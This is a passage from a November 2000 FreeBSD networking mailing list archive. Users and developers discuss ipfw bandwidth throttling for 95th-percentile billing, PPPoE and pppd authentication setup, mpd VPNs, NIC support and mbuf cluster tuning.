by hub.freebsd.org (Postfix) with ESMTP id 5DDD137B4C5 for ; Wed, 1 Nov 2000 09:18:32 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.0/8.11.0) with ESMTP id eA1HISn31605 for ; Wed, 1 Nov 2000 10:18:29 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id KAA16816 for ; Wed, 1 Nov 2000 10:18:28 -0700 (MST) Message-Id: <200011011718.KAA16816@harmony.village.org> To: net@freebsd.org Subject: Traffic throttling Date: Wed, 01 Nov 2000 10:18:28 -0700 From: Warner Losh Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greetings net list. I hope this is the right place to ask. Our upstream ISP charges us based on how much bandwidth we use at the 95th percentile. We want to limit the bandwidth that we use so that we consistantly come in at a certain level. One trivial way to do this would be: ipfw pipe 1 config bw 32Kbit/s which would guarantee, more or less, that we never exceed 32kpbs. However, the 95th percentile measurement that our isp does is the 95th percentile of the 5 minute averages of usage. there's no reason we couldn't use 200kbps of our pipe for 1 minute to download a port distribution and let the other 4 minutes go relatively idle. For that matter, 5% of the 5 minute time slices is 432 of them. These samples are eliminated from consideration, so it doesn't matter what they are. Last night I used 20 of them to update all my source trees from since before BSDcon via cvsup and rsync (depending on the project). :-) After looking at the logs for a few weeks, I think that even a simple ipfw pipe 1 config bw 64Kbit/s would cover our butts, but again we're left with the desire to push the envelope further than this. Now to my question, what's the best way to throttle things based on the above rules so that each month we are guarnateed (or nearly so) to have our 95th percentile of usage be below a certain level. I know the answer will likely involve thinks like "divert" and "write a deamon to" but if anybody had any suggestions for how to proceed, I'd love that. Maybe someone has already written such a tool, but I fear I'll need to write it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 10:42: 5 2000 Delivered-To: freebsd-net@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id BFDDE37B4C5 for ; Wed, 1 Nov 2000 10:42:01 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.9.3/8.9.3) id KAA14837; Wed, 1 Nov 2000 10:41:47 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200011011841.KAA14837@iguana.aciri.org> Subject: Re: Traffic throttling In-Reply-To: <200011011718.KAA16816@harmony.village.org> from Warner Losh at "Nov 1, 2000 10:18:28 am" To: imp@village.org (Warner Losh) Date: Wed, 1 Nov 2000 10:41:47 -0800 (PST) Cc: net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, from your description i suppose the ISP takes 5min traffic averages, and then stores the 5% highest ones (which is 432 samples), and the smallest one of this set is the bw for which you are charged. For your purposes you might use a script which periodically (every 1-2.5-5min ?) fetch&reset the counters associated with the ipfw rule intercepting traffic to your upstream isp, stores the samples somewhere, and whenever the limit is approaching reconfigures the pipe associated with the rule. I see only a few problems with this: - we do not a way to atomically fetch&reset the counters associated with a given ipfw rule. So you might err in some cases and miss some packets; But the atomic fetch&rst could be easily implemented; - you might err by a factor of 2 if your sampling is not synchronised with the ISP (this means you probably have to use shorter sample intervals); and last not least - when your ISP will realize that the 5percentile of the samples really accounts for 90% of your total traffic, i suppose they will find some way to change your contract :) cheers luigi ----------------------------------+----------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . ACIRI/ICSI (on leave from Univ. di Pisa) http://www.iet.unipi.it/~luigi/ . 1947 Center St, Berkeley CA 94704 Phone: (510) 666 2927 ----------------------------------+----------------------------------------- > Greetings net list. I hope this is the right place to ask. > > Our upstream ISP charges us based on how much bandwidth we use at the > 95th percentile. We want to limit the bandwidth that we use so that > we consistantly come in at a certain level. One trivial way to do > this would be: > ipfw pipe 1 config bw 32Kbit/s > which would guarantee, more or less, that we never exceed 32kpbs. > > However, the 95th percentile measurement that our isp does is the 95th > percentile of the 5 minute averages of usage. there's no reason we > couldn't use 200kbps of our pipe for 1 minute to download a port > distribution and let the other 4 minutes go relatively idle. For that > matter, 5% of the 5 minute time slices is 432 of them. These samples > are eliminated from consideration, so it doesn't matter what they > are. Last night I used 20 of them to update all my source trees from > since before BSDcon via cvsup and rsync (depending on the > project). :-) > > After looking at the logs for a few weeks, I think that even a simple > ipfw pipe 1 config bw 64Kbit/s > would cover our butts, but again we're left with the desire to push > the envelope further than this. > > Now to my question, what's the best way to throttle things based on > the above rules so that each month we are guarnateed (or nearly so) to > have our 95th percentile of usage be below a certain level. I know > the answer will likely involve thinks like "divert" and "write a > deamon to" but if anybody had any suggestions for how to proceed, I'd > love that. Maybe someone has already written such a tool, but I fear > I'll need to write it. > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-net" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 10:51:48 2000 Delivered-To: freebsd-net@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 0FC0537B4C5 for ; Wed, 1 Nov 2000 10:51:41 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.0/8.11.0) with ESMTP id eA1Ipan32189; Wed, 1 Nov 2000 11:51:37 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA97759; Wed, 1 Nov 2000 11:51:35 -0700 (MST) Message-Id: <200011011851.LAA97759@harmony.village.org> To: Luigi Rizzo Subject: Re: Traffic throttling Cc: net@FreeBSD.ORG In-reply-to: Your message of "Wed, 01 Nov 2000 10:41:47 PST." <200011011841.KAA14837@iguana.aciri.org> References: <200011011841.KAA14837@iguana.aciri.org> Date: Wed, 01 Nov 2000 11:51:35 -0700 From: Warner Losh Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200011011841.KAA14837@iguana.aciri.org> Luigi Rizzo writes: : - when your ISP will realize that the 5percentile of the samples : really accounts for 90% of your total traffic, i suppose : they will find some way to change your contract :) Given the number of customers that they have, and given that we're still maxed out at 256k and shooting for 32k, I think we're ok. If we were maxed out 5% of the time at 256k and 95% of the time at 32k, we'd still only have 43k or less average. The ISP deals in OC3s like they were cheap or something. We're mostly interested in keeping from having to pay double for 64k service unless we make the decision to have that level of service. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 12:47:14 2000 Delivered-To: freebsd-net@freebsd.org Received: from virtual.sysadmin-inc.com (lists.sysadmin-inc.com [209.16.228.140]) by hub.freebsd.org (Postfix) with ESMTP id DEB4537B4CF for ; Wed, 1 Nov 2000 12:47:11 -0800 (PST) Received: from 98wkst ([10.10.1.71]) by virtual.sysadmin-inc.com (8.9.1/8.9.1) with SMTP id PAA30914 for ; Wed, 1 Nov 2000 15:47:43 -0500 Reply-To: From: "Peter Brezny" To: Subject: mpd-netgraph, ms on demand pptpvpn and bsd to bsd dedicated vpn Date: Wed, 1 Nov 2000 15:47:14 -0500 Message-ID: <001701c04444$eb18a660$47010a0a@fire.sysadmininc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Can mpd netgraph be configured to do all three of these at once, accept ms pptp vpn conncetions on demand, create dedicated vpn links to one or more remote bsd machines, and answer modems on serial ports on demand? tips or configs you'd like to share would be welcomed. Thanks. Peter Brezny SysAdmin Services, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 15:11:50 2000 Delivered-To: freebsd-net@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id 90A9237B657 for ; Wed, 1 Nov 2000 15:11:39 -0800 (PST) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.0/8.11.0) with ESMTP id eA1N6Zh03427; Wed, 1 Nov 2000 23:06:35 GMT (envelope-from brian@hak.lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.1/8.11.1) with ESMTP id eA1N6hM07911; Wed, 1 Nov 2000 23:06:43 GMT (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200011012306.eA1N6hM07911@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Jason Lin Cc: freebsd-net@FreeBSD.ORG, brian@Awfulhak.org Subject: Re: Need help with Freebsd pppoe server setup In-Reply-To: Message from Jason Lin of "Sat, 28 Oct 2000 14:32:38 PDT." <20001028213238.14616.qmail@web1610.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 01 Nov 2000 23:06:43 +0000 From: Brian Somers Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It's hard to tell what's wrong without seeing your whole config. What does your ``server'' profile say ? > i, > > I've followed the instructions for setting up a > freebsd pppoe server found in the isp-wireless > archive. > > http://isp-lists.isp-planet.com/isp-wireless/0008/msg00911.html > > I've also installed ICRadius(v.0.16), and made sure > that it is working. > > http://icradius.hislora.com.au > > But I am getting the following error in the ppp log > when i try to connect from a client machine using > RASPPPOE software: > > ppp[]: Warning: Label pppoe-in rejected -direct > connection: Configuration lable not found > > Here's my /ppp/ppp.conf file: > > #pppoe-in > pppoe-in: > allow users > enable chap > enable pap > allow mode direct > set mru 1492 > set mtu 1492 > set speed sync > enable lqr > set ifaddr 10.0.0.1 10.0.0.2-10.0.0.10 > accept dns > load server > set radius /etc/raddb/radius.conf > > 10.0.0.1 is the IP Addr of the pppoe interface > /etc/raddb/radius.conf is the radius.conf file for > ICRadius > > Here's my radius.conf > #/etc/raddb/radius.conf > server localhost > login root > password mypassword > radius_db radius > > acctcheck_table radacct > authreply_table radreply > > groupcheck_table radgroupcheck > groupreply_table radgroupreply > > usergroup_table usergroup > > realms_table realms > realmgroup_table realmgroup > > sensitiveusername off > deletestalesession on > > sqltrace off > > > TIA > > jason > jason@freesco.org -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 16:47: 9 2000 Delivered-To: freebsd-net@freebsd.org Received: from trauco.colomsat.net.co (trauco.colomsat.net.co [200.13.195.2]) by hub.freebsd.org (Postfix) with ESMTP id 264FA37B4CF; Wed, 1 Nov 2000 16:46:59 -0800 (PST) Received: from yahoo.com (200.13.215.149) by trauco.colomsat.net.co (NPlex 4.0.068) id 3A006DB500003322; Wed, 1 Nov 2000 19:40:47 -0500 Message-ID: <3A00BA20.4E581E6E@yahoo.com> Date: Wed, 01 Nov 2000 19:49:36 -0500 From: "Yonny Cardenas B." Organization: Ingenieria Integral Ltda. X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: questions@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Implicit declaration of function Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi I have a error when compile my kernel. I don't understand the message "implicit declaration of function `socket' ". The directive #include has declaration of function socket. I don't know if I can do this because the kernel and userland address spaces are sort seperate, and I must use copyin/copyout. The function _sys_create_socket is called for a system call "CreateConection()" that I'm makeing, so CreateConection() and socket() are system calls, ¿Is this a problem? Thanks for your help. cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-pr ototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I../.. -I/usr/include -D_KERNEL -include opt_global.h -elf -mpreferred- stack-boundary=2 ../../kern/rtp/rtp_unix.c In file included from /usr/include/sysdep.h:39, from ../../kern/rtp/rtp_unix.c:11: /usr/include/math.h:175: warning: function declaration isn't a prototype /usr/include/math.h:258: warning: function declaration isn't a prototype ../../kern/rtp/rtp_unix.c: In function `_sys_create_socket': ../../kern/rtp/rtp_unix.c:29: warning: implicit declaration of function `socket' ../../kern/rtp/rtp_unix.c: In function `_sys_connect_socket': ../../kern/rtp/rtp_unix.c:52: warning: implicit declaration of function `connect' The funtion _sys_create_socket in rtp_unix.c file are: #include /* ... */ int _sys_create_socket ( ){ /*... */ int sd ; sd = socket(AF_INET, 1, 0 ) /* ... */ } +------------------------------------------------------------------+ | YONNY CARDENAS B. Apartado Aereo 22828 | | Systems Engineer Santafe de Bogota D.C. | | Colombia - South America | | Student M.Sc. Tels: +571 3451554 +571 3465454 | | UNIVERSIDAD DE LOS ANDES mailto: y-carden@uniandes.edu.co | | ycardena@computer.org | | ICQ #: 46933750 | +------------------------------------------------------------------+ UNIX is BSD, and FreeBSD is an advanced 4.4BSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 17:41: 7 2000 Delivered-To: freebsd-net@freebsd.org Received: from server1.huntsvilleal.com (server1.huntsvilleal.com [63.147.8.7]) by hub.freebsd.org (Postfix) with ESMTP id 76C6337B4CF for ; Wed, 1 Nov 2000 17:41:05 -0800 (PST) Received: from Spaz.HuntsvilleAL.COM (spaz.huntsvilleal.com [63.147.8.31]) by server1.huntsvilleal.com (8.9.3/8.9.3) with ESMTP id TAA00651 for ; Wed, 1 Nov 2000 19:08:44 -0500 Received: from localhost (kris@localhost) by Spaz.HuntsvilleAL.COM (8.9.3/8.9.3) with ESMTP id BAA54738 for ; Thu, 2 Nov 2000 01:40:29 GMT (envelope-from kris@catonic.net) Date: Thu, 2 Nov 2000 01:40:29 +0000 (GMT) From: Kris Kirby X-Sender: kris@spaz.huntsvilleal.com To: freebsd-net@freebsd.org Subject: Quality / Issues with 3C595 Message-ID: X-Tech-Support-Email: bofh@catonic.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org What is our level of support for the 3C595 Fast Etherlink III (10/100) versus the 3C905 Fast Etherlink IV? I understand that the 3C905 is somewhat equal to the Intel EtherExpress PRO/100 (fxp), but I'm looking at some new servers that came equip'd with what I've thought to be a ISA NIC on steroids.... ----- Kris Kirby, KE4AHR | TGIFreeBSD... 'Nuff said. | ------------------------------------------------------- "Fate, it seems, is not without a sense of irony." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 17:50:10 2000 Delivered-To: freebsd-net@freebsd.org Received: from web1705.mail.yahoo.com (web1705.mail.yahoo.com [128.11.23.216]) by hub.freebsd.org (Postfix) with SMTP id 392DD37B4C5 for ; Wed, 1 Nov 2000 17:50:08 -0800 (PST) Received: (qmail 20835 invoked by uid 60001); 2 Nov 2000 01:50:08 -0000 Message-ID: <20001102015008.20834.qmail@web1705.mail.yahoo.com> Received: from [202.101.165.61] by web1705.mail.yahoo.com; Wed, 01 Nov 2000 17:50:08 PST Date: Wed, 1 Nov 2000 17:50:08 -0800 (PST) From: Yifeng Xu Subject: mbuf and MINCLSIZE To: freebsd-questions@freebsd.org Cc: freebsd-net@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I have read Richard Stevens's "TCP/IP Illustrated Volumn 3", and he suggested us to set macro MINCLSIZE to 101 for most BSD server serving HTTP service. can it be changed in FreeBSD and get same benifit as he said? Regards, XuYifeng __________________________________________________ Do You Yahoo!? From homework help to love advice, Yahoo! Experts has your answer. http://experts.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 18: 7:42 2000 Delivered-To: freebsd-net@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 95E4237B4CF; Wed, 1 Nov 2000 18:07:38 -0800 (PST) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id LAA24246; Thu, 2 Nov 2000 11:03:29 +0900 (JST) To: Yifeng Xu Cc: freebsd-questions@freebsd.org, freebsd-net@freebsd.org In-reply-to: websoft's message of Wed, 01 Nov 2000 17:50:08 PST. <20001102015008.20834.qmail@web1705.mail.yahoo.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: mbuf and MINCLSIZE From: itojun@iijlab.net Date: Thu, 02 Nov 2000 11:03:29 +0900 Message-ID: <24244.973130609@coconut.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I have read Richard Stevens's "TCP/IP Illustrated >Volumn 3", and he suggested us to set macro MINCLSIZE >to 101 for most BSD server serving HTTP service. > can it be changed in FreeBSD and get same benifit as >he said? 101 meaning MHLEN + 1, right? on KAME IPv6 merge, we happened to do that. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 18:44:52 2000 Delivered-To: freebsd-net@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id DA4CB37B4CF; Wed, 1 Nov 2000 18:44:47 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.9.3/8.9.3) id SAA03643; Wed, 1 Nov 2000 18:44:26 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200011020244.SAA03643@iguana.aciri.org> Subject: Re: mbuf and MINCLSIZE In-Reply-To: <24244.973130609@coconut.itojun.org> from "itojun@iijlab.net" at "Nov 2, 2000 11: 3:29 am" To: itojun@iijlab.net Date: Wed, 1 Nov 2000 18:44:26 -0800 (PST) Cc: websoft@yahoo.com, freebsd-questions@FreeBSD.ORG, freebsd-net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I have read Richard Stevens's "TCP/IP Illustrated > >Volumn 3", and he suggested us to set macro MINCLSIZE > >to 101 for most BSD server serving HTTP service. > > can it be changed in FreeBSD and get same benifit as > >he said? > > 101 meaning MHLEN + 1, right? on KAME IPv6 merge, we happened to > do that. didn't we move to 256-byte clusters some time ago, hence MHLEN is larger than that ? cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 19:18:41 2000 Delivered-To: freebsd-net@freebsd.org Received: from mta01.onebox.com (mta01.onebox.com [216.33.158.208]) by hub.freebsd.org (Postfix) with ESMTP id 0177B37B479 for ; Wed, 1 Nov 2000 19:18:39 -0800 (PST) Received: from onebox.com ([216.33.158.151]) by mta01.onebox.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001102031838.BSLD22792.mta01.onebox.com@onebox.com>; Wed, 1 Nov 2000 19:18:38 -0800 Received: from [203.107.232.70] by onebox.com with HTTP; Wed, 01 Nov 2000 19:19:27 -0800 Date: Wed, 01 Nov 2000 19:19:27 -0800 Subject: How to setup PPP client for WindowsNT, W2K? From: "Chutima S." To: freebsd-net@FreeBSD.ORG Cc: chutima@infoquest.co.th Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Message-Id: <20001102031838.BSLD22792.mta01.onebox.com@onebox.com> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear all I want to setup pppd(kernel ppp) to be client W2K(RAS). With W2K: I select PAP, CHAP authentication method at RAS. And I try to connect from Dial Up Network, it's OK. With FBSD: My script is: pppd connect 'chat -v "" ATDT CONNECT "" ' /dev/cuaa0 57600 -detach debug crtscts modem user XXX remotename YYY pap.secrets or chap.secrets: XXX YYY ZZZ I receive error message from pppd script as follow: 1. with 'pap.secrets': Nov 1 01:47:25 feedset pppd[358]: pppd 2.3.5 started by root, uid 0 Nov 1 01:47:56 feedset pppd[358]: Connect: ppp0 <--> /dev/cuaa0 Nov 1 01:47:57 feedset pppd[358]: PAP authentication failed Nov 1 01:47:57 feedset pppd[358]: Modem hangup, connected for 1 minutes Nov 1 01:47:57 feedset pppd[358]: Connection terminated, connected for 1 minutes 2. with chap.secrets: Nov 1 01:53:14 feedset pppd[377]: pppd 2.3.5 started by root, uid 0 Nov 1 01:53:46 feedset pppd[377]: Connect: ppp0 <--> /dev/cuaa0 Nov 1 01:53:46 feedset pppd[377]: CHAP authentication failed Nov 1 01:53:47 feedset pppd[377]: Modem hangup, connected for 1 minutes Nov 1 01:53:47 feedset pppd[377]: Connection terminated, connected for 1 minutes What's wrong with my configuration? Thank you so much -- Chutima Subsirin chutima_s@zdnetonebox.com - email ___________________________________________________________________ To get your own FREE ZDNet Onebox - FREE voicemail, email, and fax, all in one place - sign up today at http://www.zdnetonebox.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 19:53:15 2000 Delivered-To: freebsd-net@freebsd.org Received: from hotmail.com (f196.pav1.hotmail.com [64.4.31.196]) by hub.freebsd.org (Postfix) with ESMTP id AADB037B4CF for ; Wed, 1 Nov 2000 19:53:12 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 1 Nov 2000 19:53:12 -0800 Received: from 203.150.154.5 by pv1fd.pav1.hotmail.msn.com with HTTP; Thu, 02 Nov 2000 03:53:12 GMT X-Originating-IP: [203.150.154.5] From: "Mick Nicila" To: chutima_s@zdnetonebox.com Cc: freebsd-net@FreeBSD.ORG, chutima@infoquest.co.th Subject: Re: How to setup PPP client for WindowsNT, W2K? Date: Thu, 02 Nov 2000 10:53:12 ICT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 02 Nov 2000 03:53:12.0530 (UTC) FILETIME=[6C076320:01C04480] Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear Chutima, I think the secrets must be put in /etc/ppp/pap-secrets /etc/ppp/chap-secrets not in pap.secrets or chap.secrets according to the pppd man page. Please check. On Wed, 1 Nov 2000, Chutima S. wrote: > >Dear all > >I want to setup pppd(kernel ppp) to be client W2K(RAS). > >With W2K: >I select PAP, CHAP authentication method at RAS. >And I try to connect from Dial Up Network, it's OK. > >With FBSD: >My script is: >pppd connect 'chat -v "" ATDT CONNECT "" ' /dev/cuaa0 57600 >-detach debug crtscts modem user XXX remotename YYY > >pap.secrets or chap.secrets: >XXX YYY ZZZ > >I receive error message from pppd script as follow: >1. with 'pap.secrets': >Nov 1 01:47:25 feedset pppd[358]: pppd 2.3.5 started by root, uid 0 >Nov 1 01:47:56 feedset pppd[358]: Connect: ppp0 <--> /dev/cuaa0 >Nov 1 01:47:57 feedset pppd[358]: PAP authentication failed >Nov 1 01:47:57 feedset pppd[358]: Modem hangup, connected for 1 minutes >Nov 1 01:47:57 feedset pppd[358]: Connection terminated, connected for >1 minutes > >2. with chap.secrets: >Nov 1 01:53:14 feedset pppd[377]: pppd 2.3.5 started by root, uid 0 >Nov 1 01:53:46 feedset pppd[377]: Connect: ppp0 <--> /dev/cuaa0 >Nov 1 01:53:46 feedset pppd[377]: CHAP authentication failed >Nov 1 01:53:47 feedset pppd[377]: Modem hangup, connected for 1 minutes >Nov 1 01:53:47 feedset pppd[377]: Connection terminated, connected for >1 minutes > >What's wrong with my configuration? > >Thank you so much >-- >Chutima Subsirin >chutima_s@zdnetonebox.com - email > > > > >___________________________________________________________________ >To get your own FREE ZDNet Onebox - FREE voicemail, email, and fax, >all in one place - sign up today at http://www.zdnetonebox.com > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-net" in the body of the message > _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 20: 8: 0 2000 Delivered-To: freebsd-net@freebsd.org Received: from starfruit.itojun.org (nat01.st.keio.ac.jp [131.113.17.11]) by hub.freebsd.org (Postfix) with ESMTP id AFD3C37B479; Wed, 1 Nov 2000 20:07:55 -0800 (PST) Received: from itojun.org (localhost [127.0.0.1]) by starfruit.itojun.org (Postfix) with ESMTP id A91127E56; Thu, 2 Nov 2000 13:07:53 +0900 (JST) To: Luigi Rizzo Cc: websoft@yahoo.com, freebsd-questions@FreeBSD.ORG, freebsd-net@FreeBSD.ORG In-reply-to: rizzo's message of Wed, 01 Nov 2000 18:44:26 PST. <200011020244.SAA03643@iguana.aciri.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: mbuf and MINCLSIZE From: Jun-ichiro itojun Hagino Date: Thu, 02 Nov 2000 13:07:53 +0900 Message-Id: <20001102040753.A91127E56@starfruit.itojun.org> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> 101 meaning MHLEN + 1, right? on KAME IPv6 merge, we happened to >> do that. >didn't we move to 256-byte clusters some time ago, hence >MHLEN is larger than that ? that is not the point. traditionally MINCLSIZE was MHLEN + MLEN + 1, and it made drivers to emit: MHLEN mbuf (len <= MHLEN) MHLEN mbuf + MLEN mbuf (len <= MHLEN + MLEN) MCLBYTES cluster mbuf (len > MHLEN + MLEN) Richard proposes to move MINCLSIZE to MHLEN + 1, and will effectively make drivers to emit: MHLEN mbuf (len <= MHLEN) MCLBYTES cluster mbuf (len > MHLEN) the latter stragegy will save us from m_pullup. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 20:25: 3 2000 Delivered-To: freebsd-net@freebsd.org Received: from mta07.onebox.com (mta07.onebox.com [216.35.104.107]) by hub.freebsd.org (Postfix) with ESMTP id 0628737B4CF for ; Wed, 1 Nov 2000 20:24:58 -0800 (PST) Received: from onebox.com ([216.33.158.154]) by mta07.onebox.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20001102042454.QEFW16600.mta07.onebox.com@onebox.com>; Wed, 1 Nov 2000 20:24:54 -0800 Received: from [203.107.232.70] by onebox.com with HTTP; Wed, 01 Nov 2000 20:24:54 -0800 Date: Wed, 01 Nov 2000 20:24:54 -0800 Subject: Re: How to setup PPP client for WindowsNT, W2K? From: "Chutima S." To: "Mick Nicila" Cc: chutima_s@zdnetonebox.com, freebsd-net@FreeBSD.ORG, chutima@infoquest.co.th Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Message-Id: <20001102042454.QEFW16600.mta07.onebox.com@onebox.com> Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear all I'm so sorry. It's just my mistake. Actually I use right file name; pap-secrets and chap-secrets. I have more information about error in event viewer (W2K) about "not support L2TP connection". How do I disable L2TP from pppd process in FreeBSD box? Thanks again -- Chutima Subsirin chutima_s@zdnetonebox.com - email ---- "Mick Nicila" wrote: > Dear Chutima, > > I think the secrets must be put in > > /etc/ppp/pap-secrets > /etc/ppp/chap-secrets > > not in > > pap.secrets or chap.secrets > > according to the pppd man page. Please check. > > > > > On Wed, 1 Nov 2000, Chutima S. wrote: > > > > >Dear all > > > >I want to setup pppd(kernel ppp) to be client W2K(RAS). > > > >With W2K: > >I select PAP, CHAP authentication method at RAS. > >And I try to connect from Dial Up Network, it's OK. > > > >With FBSD: > >My script is: > >pppd connect 'chat -v "" ATDT CONNECT "" ' /dev/cuaa0 57600 > >-detach debug crtscts modem user XXX remotename YYY > > > >pap.secrets or chap.secrets: > >XXX YYY ZZZ > > > >I receive error message from pppd script as follow: > >1. with 'pap.secrets': > >Nov 1 01:47:25 feedset pppd[358]: pppd 2.3.5 started by root, uid > 0 > >Nov 1 01:47:56 feedset pppd[358]: Connect: ppp0 <--> /dev/cuaa0 > >Nov 1 01:47:57 feedset pppd[358]: PAP authentication failed > >Nov 1 01:47:57 feedset pppd[358]: Modem hangup, connected for 1 minutes > >Nov 1 01:47:57 feedset pppd[358]: Connection terminated, connected > for > >1 minutes > > > >2. with chap.secrets: > >Nov 